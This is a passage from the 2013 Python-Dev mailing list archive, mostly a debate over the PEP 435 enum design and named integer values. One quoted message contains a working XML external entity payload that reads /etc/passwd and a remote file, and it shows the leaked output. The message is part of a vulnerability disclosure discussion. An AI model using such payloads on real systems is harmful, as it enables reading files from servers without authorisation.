to be its own name.

I personally think we should skip the bikeshedding over how to avoid 
repeating names to make the bound name match the definition name (as 
with def, class, and import). Actually, they do not have to match and in 
cases, one might want a short bound name for retrieval and a longer 
definition name for display. In any case, compared to the number of 
functions, classes, and imported modules in the stdlib, there would only 
be a few namedints, and any typos would be caught very quickly.

In io (say)

stdin = namedint(1, 'stdin')  # or namedint(1, 'standard input (fd 1)')
etc
plus 3 lines for seek.


-- 
Terry Jan Reedy


From dreamingforward at gmail.com  Sat Feb 23 23:58:34 2013
From: dreamingforward at gmail.com (Mark Janssen)
Date: Sat, 23 Feb 2013 14:58:34 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130223150231.GA20921@sleipnir.bytereef.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
Message-ID: <CAMjeLr_-mVKwU463br5hEPk6B7q7v6RW2SDgsM6yDdgfyCE8kw@mail.gmail.com>

On Sat, Feb 23, 2013 at 7:02 AM, Stefan Krah <stefan at bytereef.org> wrote:
> eli.bendersky <python-checkins at python.org> wrote:
>> +Ordered comparisons between enumeration values are *not* supported.  Enums are
>> +not integers!

I agree with your idea, but note you probably shouldn't call them
e-num-erations, then.

> Hmm. I think this limits interoperation with C libraries and prototyping
> C code.

Like I say, despite the lack of alignment with C, that this is the
right way to go for a high-level language like Python.  But I don't
think it should be built-into the language.

The bigger question is: what things should be comparable?  and this is
something that has not been settled.  Nor do I believe it can be by
the language.

This is where I rather liked the old __cmp__ function, not only was it
easier to implement, but I could define a comparison and it was
clearer that I was doing so (within the class at least).

Mark

From perica.zivkovic at gmail.com  Sun Feb 24 01:17:46 2013
From: perica.zivkovic at gmail.com (Perica Zivkovic)
Date: Sat, 23 Feb 2013 18:17:46 -0600
Subject: [Python-Dev] Python 2.7.4 and 3.2.4
Message-ID: <CAHx1HDNxfwMFBAiQdmfuLNBNa+7DXKUEoUmc1+0YiSXKzU+FLg@mail.gmail.com>

Hi there,

like posted here:
https://groups.google.com/forum/?fromgroups=#!topic/comp.lang.python/xXij443PM6I

I'm curious to find out are there any timelines when 2.7.4 and 3.2.4 will
be available.

I was kinda waiting for it to release new Portable Python so now I'm just
curious should I wait bit more and release on this python base or should I
go for 2.7.3 and 3.2.3
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130223/5cf8789d/attachment.html>

From ncoghlan at gmail.com  Sun Feb 24 03:19:41 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 24 Feb 2013 12:19:41 +1000
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <kgber3$a3f$1@ger.gmane.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
	<20130223180452.4f8cd42a@pitrou.net>
	<CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>
	<CADiSq7dWhTQGEt9m7=O9FmpTReP0E8TN5EYkM0az=o_rjDH9eg@mail.gmail.com>
	<kgber3$a3f$1@ger.gmane.org>
Message-ID: <CADiSq7eT9BKskY4m6cQDn6BB3KbviYfdngacvZ-WvR7=V=fQ8w@mail.gmail.com>

On 24 Feb 2013 08:14, "Terry Reedy" <tjreedy at udel.edu> wrote:
>
> On 2/23/2013 12:46 PM, Nick Coghlan wrote:
>
>> For the standard library, we *really don't care* about any of those
>> things, because we're currently using integers and strings for
>> everything, so we can't add structure without risking breaking other
>> people's code. However, just as we can get away with switching from
>> producing and consuming tuples to producing and consuming namedtuples
>> without breaking backwards compatibility, we *could* get away with
>> producing and consuming names values in many cases, so long as those
>> values behaved exactly like they did previously (i.e. as integers -
>> there's little benefit to replacing our string "enums", since they're
>> generally chosen for ease of debugging).
>
>
> It seems that what would specifically be useful is a namedint class whose
instances would be ints with a .__name__ attribute and a custom .__str__
and __repr__. (Note that None, False, and True do not have such because the
name knowledge is elsewhere -- in __str__ I would guess.) In all other
respects, lets them be ints, just as named<field>tuples are otherwise
tuples.
>
> As you say, a namedstring is hardly useful as a string can be considered
to be its own name.
>
> I personally think we should skip the bikeshedding over how to avoid
repeating names to make the bound name match the definition name (as with
def, class, and import). Actually, they do not have to match and in cases,
one might want a short bound name for retrieval and a longer definition
name for display.

I realised last night that "labelled values" might be a better building
block than "named values".

I'll see if I can find my old python-ideas posts about the concept
(although, to be honest, I'm not sure it has ever been elaborated much
further than it has in this thread)

> In any case, compared to the number of functions, classes, and imported
modules in the stdlib, there would only be a few namedints, and any typos
would be caught very quickly.
>
> In io (say)
>
> stdin = namedint(1, 'stdin')  # or namedint(1, 'standard input (fd 1)')
> etc
> plus 3 lines for seek.
>
>
> --
> Terry Jan Reedy
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
http://mail.python.org/mailman/options/python-dev/ncoghlan%40gmail.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130224/dd36e90e/attachment.html>

From ncoghlan at gmail.com  Sun Feb 24 03:37:57 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Sun, 24 Feb 2013 12:37:57 +1000
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CADiSq7eT9BKskY4m6cQDn6BB3KbviYfdngacvZ-WvR7=V=fQ8w@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130223160645.124f4b77@pitrou.net>
	<CADiSq7c3ktN_39RD6hjJz_7UAbLzKArCHhdKG8-jujVMFUcBDA@mail.gmail.com>
	<20130223155802.06C7B250BD6@webabinitio.net>
	<CAF-Rda_8J2J=HjfN4f8VrZX_vPetCJnp6gRfXUEodPpy=15+gw@mail.gmail.com>
	<20130223180452.4f8cd42a@pitrou.net>
	<CAF-Rda9Eo2paaoxCE+9oUFE0FpQdNrHTuiTUBwxerHWNzT3FiQ@mail.gmail.com>
	<CADiSq7dWhTQGEt9m7=O9FmpTReP0E8TN5EYkM0az=o_rjDH9eg@mail.gmail.com>
	<kgber3$a3f$1@ger.gmane.org>
	<CADiSq7eT9BKskY4m6cQDn6BB3KbviYfdngacvZ-WvR7=V=fQ8w@mail.gmail.com>
Message-ID: <CADiSq7e314-Ai1vZbcYPi2QcmZAPCYnBPm+1t-ZrwQbiRfnLhw@mail.gmail.com>

On Sun, Feb 24, 2013 at 12:19 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> On 24 Feb 2013 08:14, "Terry Reedy" <tjreedy at udel.edu> wrote:
>> I personally think we should skip the bikeshedding over how to avoid
>> repeating names to make the bound name match the definition name (as with
>> def, class, and import). Actually, they do not have to match and in cases,
>> one might want a short bound name for retrieval and a longer definition name
>> for display.
>
> I realised last night that "labelled values" might be a better building
> block than "named values".
>
> I'll see if I can find my old python-ideas posts about the concept
> (although, to be honest, I'm not sure it has ever been elaborated much
> further than it has in this thread)

Ah, there we go - I created a recipe a couple of years ago showing the
basic concept: http://code.activestate.com/recipes/577810-named-values/

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From mal at egenix.com  Sun Feb 24 12:56:33 2013
From: mal at egenix.com (M.-A. Lemburg)
Date: Sun, 24 Feb 2013 12:56:33 +0100
Subject: [Python-Dev] XML DoS vulnerabilities and exploits in Python
In-Reply-To: <51260D6B.1050101@python.org>
References: <51239B07.8080300@python.org>
	<CAPZV6o_icQdxSeiStoYvEgqG5BUaTB7R68wCCQkn384eRy=a2Q@mail.gmail.com>
	<512514CC.2080508@python.org>
	<CAK5idxR1LmVCW+o3Jk=uvyP-nLMVoRzhkpN-1UKZowFWWPxCKg@mail.gmail.com>
	<5125466D.5090308@python.org> <20130221000808.7a8d2989@pitrou.net>
	<9AC9F1A0A9BD422999B3AE43AA5C3BA3@gmail.com>
	<20130221002258.78a805d6@pitrou.net> <51256C5B.70906@pearwood.info>
	<20130221075312.4485ad58@pitrou.net>
	<5125CCC4.3080501@palladion.com>
	<20130221084246.579fd260@pitrou.net> <5125F47B.3010607@python.org>
	<20130221113253.20e8b28f@pitrou.net> <51260D6B.1050101@python.org>
Message-ID: <5129FFF1.5090208@egenix.com>

Reminds me of the encoding attacks that were possible in earlier
versions of Python... you could have e.g. an email processing
script run the Python test suite by simply sending a specially
crafted email :-)

On 21.02.2013 13:04, Christian Heimes wrote:
> Am 21.02.2013 11:32, schrieb Antoine Pitrou:
>> You haven't proved that these were actual threats, nor how they
>> actually worked. I'm gonna remain skeptical if there isn't anything
>> more precise than "It highly depends on the parser and the application
>> what kind of exploit is possible".
> 
> https://bitbucket.org/tiran/defusedxml/src/82f4037464418bf11ea734969b7ca1c193e6ed91/other/python-external.py?at=default
> 
> $ ./python-external.py
> 
> REQUEST:
> --------
> <weather>Aachen</weather>
> 
> RESPONSE:
> ---------
> <weather>The weather in Aachen is terrible.</weather
> 
> 
> REQUEST:
> --------
> <?xml version="1.0" encoding="utf-8"?>
> <!DOCTYPE weather [
> <!ENTITY passwd SYSTEM "file:///etc/passwd">
> ]>
> <weather>&passwd;</weather>
> 
> 
> RESPONSE:
> ---------
> <error>Unknown city root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/bin/sh
> bin:x:2:2:bin:/bin:/bin/sh
> sys:x:3:3:sys:/dev:/bin/sh
> sync:x:4:65534:sync:/bin:/bin/sync
> games:x:5:60:games:/usr/games:/bin/sh
> man:x:6:12:man:/var/cache/man:/bin/sh
> lp:x:7:7:lp:/var/spool/lpd:/bin/sh
> mail:x:8:8:mail:/var/mail:/bin/sh
> news:x:9:9:news:/var/spool/news:/bin/sh
> uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
> proxy:x:13:13:proxy:/bin:/bin/sh
> www-data:x:33:33:www-data:/var/www:/bin/sh
> backup:x:34:34:backup:/var/backups:/bi</error>
> 
> 
> REQUEST:
> --------
> <?xml version="1.0" encoding="utf-8"?>
> <!DOCTYPE weather [
> <!ENTITY url SYSTEM
> "http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem">
> ]>
> <weather>&url;</weather>
> 
> 
> RESPONSE:
> ---------
> <error>Unknown city -----BEGIN DH PARAMETERS-----
> MEYCQQD1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWak
> XUGfnHy9iUsiGSa6q6Jew1XpKgVfAgEC
> -----END DH PARAMETERS-----
> 
> These are the 512 bit DH parameters from "Assigned Number for SKIP
> Protocols"
> (http://www.skip-vpn.org/spec/numbers.html).
> See there for how they were generated.
> Note that g is not a generator, but this is not a problem since p is a
> safe prime.
> </error>
> 
> 
> Q.E.D.
> Christian
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/mal%40egenix.com
> 

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 24 2013)
>>> Python Projects, Consulting and Support ...   http://www.egenix.com/
>>> mxODBC.Zope/Plone.Database.Adapter ...       http://zope.egenix.com/
>>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::::: Try our mxODBC.Connect Python Database Interface for free ! ::::::

   eGenix.com Software, Skills and Services GmbH  Pastor-Loeh-Str.48
    D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg
           Registered at Amtsgericht Duesseldorf: HRB 46611
               http://www.egenix.com/company/contact/

From barry at python.org  Mon Feb 25 02:40:00 2013
From: barry at python.org (Barry Warsaw)
Date: Sun, 24 Feb 2013 20:40:00 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
Message-ID: <20130224204000.6309bd6c@anarchist.wooz.org>

On Feb 23, 2013, at 04:02 PM, Stefan Krah wrote:

>> +Ordered comparisons between enumeration values are *not* supported.  Enums
>> are +not integers!
>
>Hmm. I think this limits interoperation with C libraries and prototyping
>C code.

This is mostly a red-herring.  flufl.enum values are C-level int compatible
without actually *being* ints.

E.g.

static PyObject *
intcompat_printint(PyObject *self, PyObject *args)
{
    int value;
    if (!PyArg_ParseTuple(args, "i", &value))
        return NULL;

    printf("and the value is: %d\n", value);
    Py_RETURN_NONE;
}

>>> from _intcompat import *
>>> printint(7)
and the value is: 7
>>> from flufl.enum import make
>>> Colors = make('Colors', 'red green blue'.split())
>>> printint(Colors.green)
and the value is: 2

Full module code is here:

http://bazaar.launchpad.net/~barry/+junk/intcompat/files

Cheers,
-Barry
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 836 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130224/6710f447/attachment.pgp>

From ethan at stoneleaf.us  Mon Feb 25 04:32:17 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Sun, 24 Feb 2013 19:32:17 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130224204000.6309bd6c@anarchist.wooz.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
Message-ID: <512ADB41.5040109@stoneleaf.us>

On 02/24/2013 05:40 PM, Barry Warsaw wrote:
> On Feb 23, 2013, at 04:02 PM, Stefan Krah wrote:
>
>>> +Ordered comparisons between enumeration values are *not* supported.  Enums
>>> are +not integers!
>>
>> Hmm. I think this limits interoperation with C libraries and prototyping
>> C code.
>
> This is mostly a red-herring.  flufl.enum values are C-level int compatible
> without actually *being* ints.
>
> E.g.
>
> static PyObject *
> intcompat_printint(PyObject *self, PyObject *args)
> {
>      int value;
>      if (!PyArg_ParseTuple(args, "i", &value))
>          return NULL;
>
>      printf("and the value is: %d\n", value);
>      Py_RETURN_NONE;
> }
>
>>>> from _intcompat import *
>>>> printint(7)
> and the value is: 7
>>>> from flufl.enum import make
>>>> Colors = make('Colors', 'red green blue'.split())
>>>> printint(Colors.green)
> and the value is: 2

Okay, that's pretty cool.

I would still like the int subclass, though, as it would be an aid to me on the Python side.

--
~Ethan~

From ncoghlan at gmail.com  Mon Feb 25 09:16:54 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Mon, 25 Feb 2013 18:16:54 +1000
Subject: [Python-Dev] [Python-checkins] peps: PEP-0427: clarify some
	implementation details.
In-Reply-To: <3ZDnVX6xNtz7LmK@mail.python.org>
References: <3ZDnVX6xNtz7LmK@mail.python.org>
Message-ID: <CADiSq7djV+DNm9Do56-sosGEW0=MbEUJO3rbcayknT+5Fr4d-Q@mail.gmail.com>

On Mon, Feb 25, 2013 at 12:41 PM, daniel.holth
<python-checkins at python.org> wrote:
> http://hg.python.org/peps/rev/7d2494f4cd0a
> changeset:   4772:7d2494f4cd0a
> user:        Daniel Holth <dholth at fastmail.fm>
> date:        Sun Feb 24 21:41:40 2013 -0500
> summary:
>   PEP-0427: clarify some implementation details.
>
> Hope it's OK to clarify two details that came up during Vinay's distlib wheel
> implementation: zip directory filenames are encoded as utf-8, and it's nicer
> to put the .dist-info directory at the end of the archive.

It's better to announce the intended update/clarification on
python-dev first, but I agree both these adjustments are reasonable (I
don't remember if I actually said that in the distutils-sig thread).

Regards,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From damani at cse.iitb.ac.in  Mon Feb 25 10:49:47 2013
From: damani at cse.iitb.ac.in (=?utf-8?B?T20gRGFtYW5pICjgpJPgpK4g4KSm4KSu4KWN4KSu4KS+4KSj4KWAKQ==?=)
Date: Mon, 25 Feb 2013 15:19:47 +0530
Subject: [Python-Dev] Bug scipy v.11 library in python2.7
Message-ID: <op.ws12w9eu60ekip@om-desktop>

I wish to report the following bug.

Scipy v.11 library in python2.7 gives
spearmanrcorrel([1,2,3,4,5],[5,6,7,8,7]) = 0.8207 while scipy v.6 in
python2.5 gives spearmanr([1,2,3,4,5],[5,6,7,8,7]) = 0.825(which is
correct according to spearman correlation formula).

The spearman correlation for [1,2,3,4,5],[5,6,7,8,7] calculated online
according to formula available at :
https://statistics.laerd.com/calculators/spearmans-rank-order-correlation-calculator-1.php,
also gives 0.825.

--The definition of spearmanr function in Scipy v.11 is given at :
http://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.spearmanr.html#scipy.stats.spearmanr.

Thanks,
- Om Damani

From tjreedy at udel.edu  Mon Feb 25 11:57:41 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 25 Feb 2013 05:57:41 -0500
Subject: [Python-Dev] Bug scipy v.11 library in python2.7
In-Reply-To: <op.ws12w9eu60ekip@om-desktop>
References: <op.ws12w9eu60ekip@om-desktop>
Message-ID: <512B43A5.20600@udel.edu>

On 2/25/2013 4:49 AM, Om Damani (?? ???????) wrote:
> I wish to report the following bug.

Bugs should be reported on the issue tracker for the particular project.
http://www.scipy.org/
has a Report Bugs button at the top.

-- 
Terry Jan Reedy



From barry at python.org  Mon Feb 25 05:14:10 2013
From: barry at python.org (Barry Warsaw)
Date: Sun, 24 Feb 2013 23:14:10 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512ADB41.5040109@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
Message-ID: <20130224231410.0023038c@anarchist.wooz.org>

On Feb 24, 2013, at 07:32 PM, Ethan Furman wrote:

>I would still like the int subclass, though, as it would be an aid to me on
>the Python side.

I think you'll know what I'm going to say. :)

1) Usually, you won't need it (see the responses from people who don't care
about the value).

2) When you do, wrapping the item in int() doesn't seem too bad to me.

>>> from flufl.enum import make
>>> Colors = make('Colors', 'red green blue'.split())
>>> int(Colors.blue)
3

Cheers,
-Barry

From ethan at stoneleaf.us  Mon Feb 25 15:41:06 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Mon, 25 Feb 2013 06:41:06 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130224231410.0023038c@anarchist.wooz.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
Message-ID: <512B7802.9010306@stoneleaf.us>

On 02/24/2013 08:14 PM, Barry Warsaw wrote:
> On Feb 24, 2013, at 07:32 PM, Ethan Furman wrote:
>
>> I would still like the int subclass, though, as it would be an aid to me on
>> the Python side.
>
> I think you'll know what I'm going to say. :)

Yup, saw that coming.  ;)


> 1) Usually, you won't need it (see the responses from people who don't care
> about the value).

They are not me (or others like me (we do exist! we do! we do!).


> 2) When you do, wrapping the item in int() doesn't seem too bad to me.

If it was just once or twice, sure, but I use them as names for ints, which means I use them as ints, which means I 
would have a boat load of int() calls.

--
~Ethan~

From eliben at gmail.com  Mon Feb 25 15:45:27 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Mon, 25 Feb 2013 06:45:27 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512B7802.9010306@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
Message-ID: <CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>

> 2) When you do, wrapping the item in int() doesn't seem too bad to me.
>>
>
> If it was just once or twice, sure, but I use them as names for ints,
> which means I use them as ints, which means I would have a boat load of
> int() calls.
>

Personally I don't see "name for ints" as being the main use case for
enums. For preparing the draft PEP I ran through some stdlib, Twisted and
personal code and there are *tons* of places that just need a simple enum
for some sort of "state", meaningful return value, or similar. That's
really where you need enums the most, and really where their values don't
matter.

I prefer to have a good solution to one problem than a poorer solution that
tries to cover two unrelated problems. For "names for ints", Nick's named
value proposal seems more relevant, but why mix the two together?

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130225/c1df0bb9/attachment.html>

From skip at pobox.com  Mon Feb 25 15:53:10 2013
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 25 Feb 2013 08:53:10 -0600
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
Message-ID: <CANc-5UyrmnghQfOCf9a_VdfpdEjK1jvs_bN+U5DzQMEfeK9cyw@mail.gmail.com>

>> If it was just once or twice, sure, but I use them as names for ints,
>> which means I use them as ints, which means I would have a boat load of
>> int() calls.
>
>
> Personally I don't see "name for ints" as being the main use case for enums.

Ethan seems to have a use case, even if it is using enums to
masquerade as true named constants.  Perhaps the correct solution is
to consider support for true constants in Python.  (I would be
surprised if there wasn't already at least one rejected or dormant PEP
regarding that topic.)

Skip

From ethan at stoneleaf.us  Mon Feb 25 16:12:03 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Mon, 25 Feb 2013 07:12:03 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
Message-ID: <512B7F43.5060406@stoneleaf.us>

On 02/25/2013 06:45 AM, Eli Bendersky wrote:
>
>         2) When you do, wrapping the item in int() doesn't seem too bad to me.
>
>
>     If it was just once or twice, sure, but I use them as names for ints, which means I use them as ints, which means I
>     would have a boat load of int() calls.
>
>
> Personally I don't see "name for ints" as being the main use case for enums.

I must admit I find it mildly amusing (but a lot frustrating) that we are talk about /enumerations/ not needing to be 
based on ints.  Checking out Merrian-Webster gives this:

Definition of ENUMERATE
1
: to ascertain the number of : count
2
: to specify one after another : list

Python even has an enumerate function, and what does it do?  Gives us an int to associate with some item in an iterator.

Now we're talking about adding an official Enum class, but the int portion is unnecessary and a pain to use?

>  For preparing the draft PEP I ran through
> some stdlib, Twisted and personal code and there are *tons* of places that just need a simple enum for some sort of
> "state", meaningful return value, or similar. That's really where you need enums the most, and really where their values
> don't matter.

And if, in those places, the enums were based on ints (or strings), would it hurt you?  Because in the places where I, 
as well as many others, use enums we *need* the int portion; and having to wrap the enum in an int() call is seven extra 
keystrokes (minor) and a heap of visual clutter (major),  destroying any value the enum was supposed to have.


> I prefer to have a good solution to one problem than a poorer solution that tries to cover two unrelated problems. For
> "names for ints", Nick's named value proposal seems more relevant, but why mix the two together?

Again:

Definition of ENUMERATE
1
: to ascertain the number of : count
2
: to specify one after another : list

--
~Ethan~

From ncoghlan at gmail.com  Mon Feb 25 16:22:34 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 26 Feb 2013 01:22:34 +1000
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CANc-5UyrmnghQfOCf9a_VdfpdEjK1jvs_bN+U5DzQMEfeK9cyw@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<CANc-5UyrmnghQfOCf9a_VdfpdEjK1jvs_bN+U5DzQMEfeK9cyw@mail.gmail.com>
Message-ID: <CADiSq7eTfuhy3ihmdx-6uBu45dO5pqEjRd5qYeKpKJCMW=gkTg@mail.gmail.com>

On Tue, Feb 26, 2013 at 12:53 AM, Skip Montanaro <skip at pobox.com> wrote:
>>> If it was just once or twice, sure, but I use them as names for ints,
>>> which means I use them as ints, which means I would have a boat load of
>>> int() calls.
>>
>>
>> Personally I don't see "name for ints" as being the main use case for enums.
>
> Ethan seems to have a use case, even if it is using enums to
> masquerade as true named constants.  Perhaps the correct solution is
> to consider support for true constants in Python.  (I would be
> surprised if there wasn't already at least one rejected or dormant PEP
> regarding that topic.)

I don't think we need true constants - labelled values should suffice
for easier to debug magic numbers.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From barry at python.org  Mon Feb 25 06:09:29 2013
From: barry at python.org (Barry Warsaw)
Date: Mon, 25 Feb 2013 00:09:29 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <CADiSq7eTfuhy3ihmdx-6uBu45dO5pqEjRd5qYeKpKJCMW=gkTg@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<CANc-5UyrmnghQfOCf9a_VdfpdEjK1jvs_bN+U5DzQMEfeK9cyw@mail.gmail.com>
	<CADiSq7eTfuhy3ihmdx-6uBu45dO5pqEjRd5qYeKpKJCMW=gkTg@mail.gmail.com>
Message-ID: <20130225000929.55529abb@anarchist.wooz.org>

On Feb 26, 2013, at 01:22 AM, Nick Coghlan wrote:

>I don't think we need true constants - labelled values should suffice
>for easier to debug magic numbers.

+1

-Barry

From solipsis at pitrou.net  Mon Feb 25 16:29:53 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Mon, 25 Feb 2013 16:29:53 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
Message-ID: <20130225162953.16e7fa5e@pitrou.net>

Le Mon, 25 Feb 2013 06:45:27 -0800,
Eli Bendersky <eliben at gmail.com> a ?crit :

> For preparing the draft PEP I ran through some stdlib, Twisted and
> personal code and there are *tons* of places that just need a simple
> enum for some sort of "state", meaningful return value, or similar.

There are also *tons* of public APIs which are now ints and would
benefit from becoming named values, but only if doing so doesn't break
compatibility (i.e. if they are still usable everywhere an int can be
used).

> I prefer to have a good solution to one problem than a poorer
> solution that tries to cover two unrelated problems. For "names for
> ints", Nick's named value proposal seems more relevant, but why mix
> the two together?

Because the whole functionality is not important enough to have two
slightly different variations on it in the stdlib? And why is it a
poorer solution exactly?

Really, there can be two kinds of enum values (or named values):
- int-alike values (usable everywhere an int is)
- str-alike values (usable everywhere a str is)

A third kind of value, which is partly int-compatible but not entirely,
sounds like a byzantine subtlety to me.

Regards

Antoine.



From rdmurray at bitdance.com  Mon Feb 25 16:35:25 2013
From: rdmurray at bitdance.com (R. David Murray)
Date: Mon, 25 Feb 2013 10:35:25 -0500
